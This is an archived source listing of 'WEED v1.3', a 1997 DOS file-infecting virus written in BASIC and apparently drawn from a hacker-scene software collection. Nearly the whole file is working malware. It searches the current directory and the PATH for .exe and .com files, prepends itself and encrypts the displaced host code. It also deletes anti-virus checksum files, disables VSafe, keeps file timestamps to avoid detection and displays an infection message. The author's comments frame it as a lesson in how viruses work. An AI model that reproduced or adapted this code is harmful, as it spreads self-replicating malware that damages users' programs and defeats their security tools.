home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CASIOCOL.ZIP / WEEDV13.ZIP / WEEDV13.ASI < prev   
Text File  |  1997-04-09  |  10KB  |  487 lines

  1. dim virus_data(5850)
  2. dim host_data(5850)
  3. call sub "ibcritinit"
  4. randomize
  5.  
  6. rem Hello, This is the source code to WEED v1.3 virus. Compiling this
  7. rem code will take a bit of work on your part, I didn't make it difficult
  8. rem on purpose, It was hard not too. In any event, I hope this teaches
  9. rem you a little about how viruses work. :)
  10.  
  11. rem Define our encrypted data for later decryption. Data is encrypted
  12. rem during the compilation process. Do not tamper with tables in source!
  13.  
  14. weedmsg$="WEED v1.4a has infected your computer! CASiO [RAiDERZ] 1997"
  15. killfil1$="anti-vir.dat"
  16. killfil2$="chklist.ms"
  17. killfil3$="chklist.cps"
  18. notouch$="COMMAND.COM"
  19. exe$="*.exe"
  20. com$="*.com"
  21.  
  22. rem And now the real fun part, bunch of temp calls to decode our information
  23. rem above :)
  24.  
  25. temp$=weedmsg$
  26. gosub decode_mess:
  27. weedmsg$=output$
  28.  
  29. temp$=killfil1$
  30. gosub decode_mess:
  31. killfil1$=output$
  32.  
  33. temp$=killfil2$
  34. gosub decode_mess:
  35. killfil2$=output$
  36.  
  37. temp$=killfil3$
  38. gosub decode_mess:
  39. killfil3$=output$
  40.  
  41. temp$=notouch$
  42. gosub decode_mess:
  43. notouch$=output$
  44.  
  45. temp$=exe$
  46. gosub decode_mess:
  47. exe$=output$
  48.  
  49. temp$=com$
  50. gosub decode_mess:
  51. com$=output$
  52.  
  53. newattr=0
  54. gosub vsafe_toggle:
  55. vsafebak=newattr
  56. gosub toast_them:
  57. call sub "exename" hostname$
  58. yourparm$=command$
  59. yourparm$=ltrim$(yourparm$)
  60. yourparm$=rtrim$(yourparm$)
  61. yourparm$=" "+yourparm$
  62.  
  63. rem My new WEED virus! Oh so much more deadly! So much more spiffy!
  64.  
  65. filename$=hostname$
  66. hostsize&=filelen(filename$)
  67. virus_size=5850
  68. virus_size&=5850&
  69. gosub get_attr:
  70. oldattr=newattr
  71. newattr=0
  72. gosub set_attr:
  73. gosub open_file:
  74. bytesize=virus_size
  75. dx=varptr(virus_data(0))
  76. gosub read_file:
  77. gosub close_file:
  78. newattr=oldattr
  79. gosub set_attr:
  80.  
  81. rem Ok, now infect files presently in current directory!
  82. subdir=0
  83. proc$=exe$
  84. gosub start_virus:
  85. proc$=com$
  86. gosub start_virus:
  87.  
  88. rem Ok, now were going to target files along the path :)
  89.      for n=0 to 100
  90.           call sub "path", n, virupath$
  91.           i=LEN(virupath$)
  92.           if i=0 then done:
  93.           b$=right$(virupath$,1)
  94.         if b$<>"\" then
  95.         virupath$=virupath$+"\"
  96.         endif
  97.         out1$=exe$
  98.         out2$=com$
  99.         subdir=1
  100.         proc$=virupath$+out1$
  101.         gosub start_virus:
  102.         proc$=virupath$+out2$
  103.         gosub start_virus:
  104.         next n
  105.  
  106.  
  107.  
  108. done:
  109. filename$=hostname$
  110. hostsize&=filelen(filename$)
  111. gosub get_attr:
  112. oldattr=newattr
  113. newattr=0
  114. gosub set_attr:
  115. gosub open_file:
  116. gosub get_fdt:
  117. hosttemp&=hostsize&-virus_size&
  118. move_way&=hosttemp&
  119. gosub move_file_pointer:
  120. bytesize=virus_size
  121. dx=varptr(host_data(0))
  122. gosub read_file:
  123. move_way&=0&
  124. gosub move_file_pointer:
  125. gosub dec_host:
  126. dx=varptr(host_data(0))
  127. bytesize=virus_size
  128. gosub write_file:
  129. gosub set_fdt:
  130. gosub close_file:
  131. gosub strip_garbage:
  132. newattr=oldattr
  133. gosub set_attr:
  134. a=rnd(0)
  135. a=a mod 10
  136. a=a+1
  137. if a=1 then
  138. rem Ok, run Stars Section, if they press "/" we allow them to run
  139. rem original program!
  140. call sub "Stars_heh"
  141. endif
  142. if a=7 then
  143. rem Time to print message! :)
  144. print weedmsg$
  145. a=5*18
  146. gosub pause_exec:
  147. endif
  148.  
  149. call hostname$, yourparm$
  150. newattr=0
  151. gosub vsafe_toggle:
  152. filename$=hostname$
  153. gosub lets_infect:
  154.  
  155. rem Hmm, lets see if our new host was able to make any files!
  156. subdir=0
  157. proc$=exe$
  158. gosub start_virus:
  159. proc$=com$
  160. gosub start_virus:
  161. newattr=vsafebak
  162. gosub vsafe_toggle:
  163. end
  164. rem We have completed replication. all stop!
  165.  
  166. start_virus:
  167. errcode=0
  168. attr=6
  169. kewl=0
  170.  
  171. search$=proc$
  172. attrib=6
  173. filename$=find first (search$, attrib)
  174. if error>0 then done_finding:
  175.   t1$=ucase$(filename$)
  176.   if t1$=notouch$ then
  177.   do_not_proceed=1
  178.   else
  179.   do_not_proceed=0
  180.   endif
  181.   if do_not_proceed=0 then
  182.   if subdir=1 then
  183.   filename$=virupath$+filename$
  184.   endif
  185.   gosub infect_check:
  186. if infected=0 then
  187. gosub lets_infect:
  188. endif
  189. endif
  190. while errcode=0
  191. filename$=find continue
  192. if error>0 then done_finding:
  193.  
  194.   t1$=ucase$(filename$)
  195.   if t1$=notouch$ then
  196.   do_not_proceed=1
  197.   else
  198.   do_not_proceed=0
  199.   endif
  200.   if do_not_proceed=0 then
  201.   if subdir=1 then
  202.   filename$=virupath$+filename$
  203.   endif
  204.   gosub infect_check:
  205. if infected=0 then
  206. gosub lets_infect:
  207. endif
  208. endif
  209.         if kewl>4 then
  210.          errcode=1
  211.          endif
  212.    WEND
  213.  
  214. done_finding:
  215. return
  216.  
  217. Lets_infect:
  218. hostsize&=filelen(filename$)
  219. gosub get_attr:
  220. oldattr=newattr
  221. newattr=0
  222. gosub set_attr:
  223. gosub open_file:
  224. gosub get_fdt:
  225. bytesize=virus_size
  226. dx=varptr(host_data(0))
  227. gosub read_file:
  228. move_way&=0&
  229. gosub move_file_pointer:
  230. bytesize=virus_size
  231. dx=varptr(virus_data(0))
  232. gosub write_file:
  233. move_way&=hostsize&
  234. gosub move_file_pointer:
  235. gosub enc_host:
  236. dx=varptr(host_data(0))
  237. bytesize=virus_size
  238. gosub write_file:
  239. gosub set_fdt:
  240. kewl=kewl+1
  241. gosub close_file:
  242. newattr=oldattr
  243. gosub set_attr:
  244. return
  245.  
  246.  
  247. REM ******* SYSTEM SUB-ROUTINES BELOW THIS LINE. DO NOT TREAD HERE!
  248. REM ******* THESE AREAS MUST NOT BE FOOLED WITH!
  249.  
  250. get_attr:
  251. AX = &HEX4300
  252. DX = VARPTR(Filename$)
  253. CX = NewAttr
  254. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  255. return
  256.  
  257. set_attr:
  258. AX = &HEX4301
  259. DX = VARPTR(Filename$)
  260. CX = NewAttr
  261. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  262. return
  263.  
  264. vsafe_toggle:
  265. ax=&hexfa02
  266. dx=&hex5945
  267. bx=newattr
  268. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  269. newattr=bx
  270. return
  271.  
  272. get_fdt:
  273. if file_handle>4 then
  274. AX=&HEX5700
  275. BX=FILE_HANDLE
  276. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  277. NEWDATE=CX
  278. NEWTIME=DX
  279. endif
  280. RETURN
  281.  
  282. set_fdt:
  283. if file_handle>4 then
  284. AX=&HEX5701
  285. BX=FILE_HANDLE
  286. CX=NEWDATE
  287. DX=NEWTIME
  288. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  289. endif
  290. RETURN
  291.  
  292. chklist:
  293. temp1$=filename$
  294. filename$=kill_this$
  295. newattr=0
  296. gosub set_attr:
  297. kill filename$
  298. filename$=temp1$
  299. return
  300.  
  301. rem DOS int file i/o driven code beyond this point :)
  302.  
  303. rem ax=&hex3d00
  304. rem ax opens file for read in this mode :-)
  305. rem ax=&hex3d01
  306. rem ax opens file for write in this mode :-)
  307. rem ax=&hex3d02
  308. rem ax opens file for read/write access :) hehehe
  309.  
  310. open_file:
  311. AX=&HEX3D02
  312. DX = VARPTR(Filename$)
  313. INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
  314. file_handle=ax
  315. return
  316.  
  317. write_file:
  318. rem this routine will write selected bytes at whatever current position
  319. rem from whatever buffer i choose into the file.
  320. rem if the routine did not write all data ax will not equal cx upon
  321. rem return from int call.
  322. rem define dx register before calling this routine to point to the
  323. rem memory address of the buffer area you want to write from. like so:
  324. rem dx=varptr(buffer(0))
  325. rem cx is how many bytes to write :)
  326. if file_handle>4 then
  327. ax=&hex4000
  328. bx=file_handle
  329. cx=bytesize
  330. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  331. byteswritten=ax
  332. endif
  333. return
  334.  
  335. read_file:
  336. rem as the name implies, it reads bytes into a buffer. :-)
  337. rem as with write_file, you need to predefine the dx register for the
  338. rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
  339. rem if you don't, this routine will not work, or will overwrite some
  340. rem other section of memory. And for virus coding, this is very bad! :)
  341. rem cx register is how many bytes to read :)
  342. if file_handle>4 then
  343. ax=&hex3f00
  344. bx=file_handle
  345. cx=bytesize
  346. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  347. bytesread=ax
  348. endif
  349. return
  350.  
  351. close_file:
  352. rem This routine will close the selected file.
  353. rem do not try to close handle 2, very nasty... :-(
  354. if file_handle>4 then
  355. ax=&hex3e00
  356. bx=file_handle
  357. int86(&hex21,ax,bx,na,na,na,na,na,na,na)
  358. endif
  359. return
  360.  
  361. move_file_pointer:
  362. rem be sure to set variable move_way to whereever you wish to go
  363. rem it can be a long integer :-)
  364. rem get the target location, divide that by 65536
  365. rem Also subtract value of a& from the original size.
  366. rem set both registers for real numbers, no mistake here.. Will fuckup
  367. rem file pointer routine if I don't. :)
  368. rem a&=move_way&/65536&
  369. rem b&=a&-move_way&
  370. rem a&=abs(a&)
  371. rem b&=abs(b&)
  372. rem Now, dump the registers :)
  373. rem if file_handle>4 then
  374. rem ax=&hex4200
  375. rem cx=a&
  376. rem dx=b&
  377. rem bx=file_handle
  378. rem Ok, now that we have prepared the registers, Lets fix them!
  379. rem    if cx<0 then
  380. rem    cx=cx+32767
  381. rem    endif
  382. rem    if dx<0 then
  383. rem    dx=dx+32767
  384. rem    endif
  385. rem int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  386. rem endif
  387. rem return
  388. method=0
  389. call sub "fseek" file_handle, move_way&, method, errcode
  390. return
  391.  
  392. enc_host:
  393. rem Routine to encrypt the host data... We encrypt it before
  394. rem appending. Yea, the encryption is lame... But it serves it's
  395. rem purpose fine.
  396. for x=0 to virus_size
  397. a=host_data(x)
  398. a=a+187
  399. a=a+121
  400. a=a+x
  401. host_data(x)=a
  402. next x
  403. return
  404.  
  405. dec_host:
  406. rem Routine to decrypt the host data... We need to decrypt it before
  407. rem replacing it and passing control to it. And yes, the decryption
  408. rem sequence is lame... But, I don't give a fuck!
  409. for x=0 to virus_size
  410. a=host_data(x)
  411. a=a-187
  412. a=a-121
  413. a=a-x
  414. host_data(x)=a
  415. next x
  416. return
  417.  
  418. infect_check:
  419. gosub get_attr:
  420. newattr=oldattr
  421. newattr=0
  422. gosub set_attr:
  423. sig$=""
  424. open"r",1,filename$
  425. a=filepos(1,28)
  426. for z=1 to 4
  427. input #1,y$ byte
  428. sig$=sig$+y$
  429. next z
  430. close 1
  431. newattr=oldattr
  432. gosub set_attr:
  433. if sig$="╘┘Σ█" then
  434. infected=1
  435. else
  436. infected=0
  437. endif
  438. return
  439.  
  440. strip_garbage:
  441. open"r",1,filename$
  442. a=filepos(1,hosttemp&)
  443. print #1,"" NONULL
  444. CLOSE 1
  445. gosub open_file:
  446. gosub set_fdt:
  447. gosub close_file:
  448. return
  449.  
  450. pause_exec:
  451. REM 5 sec. timer routine from original QBasic source code written by:
  452. REM obother@netcom.com (Glen Blankenship)
  453. REM (5 * 18.2 clock-ticks-per-second = 91)
  454. TickOne = TIMER
  455. FOR i = 1 TO a
  456.    TickTwo = TickOne
  457.    WHILE TickTwo = TickOne
  458.        TickOne = TIMER
  459.    WEND
  460. NEXT i
  461. RETURN
  462.  
  463. toast_them:
  464. kill_this$=killfil1$
  465. gosub chklist:
  466. kill_this$=killfil2$
  467. gosub chklist:
  468. kill_this$=killfil3$
  469. gosub chklist:
  470. return
  471.  
  472. decode_mess:
  473. output$=""
  474. rem This routine decrypts our tables in the beginning to useable material
  475. rem For run-time use only. The data in the exe/com is not decrypted!
  476. r=len(temp$)
  477. for x=1 to r
  478. a$=mid$(temp$,x,1)
  479. a=asc(a$)
  480. a=a+127
  481. a$=chr$(a)
  482. output$=output$+a$
  483. next x
  484. return
  485.  
  486.  
  487.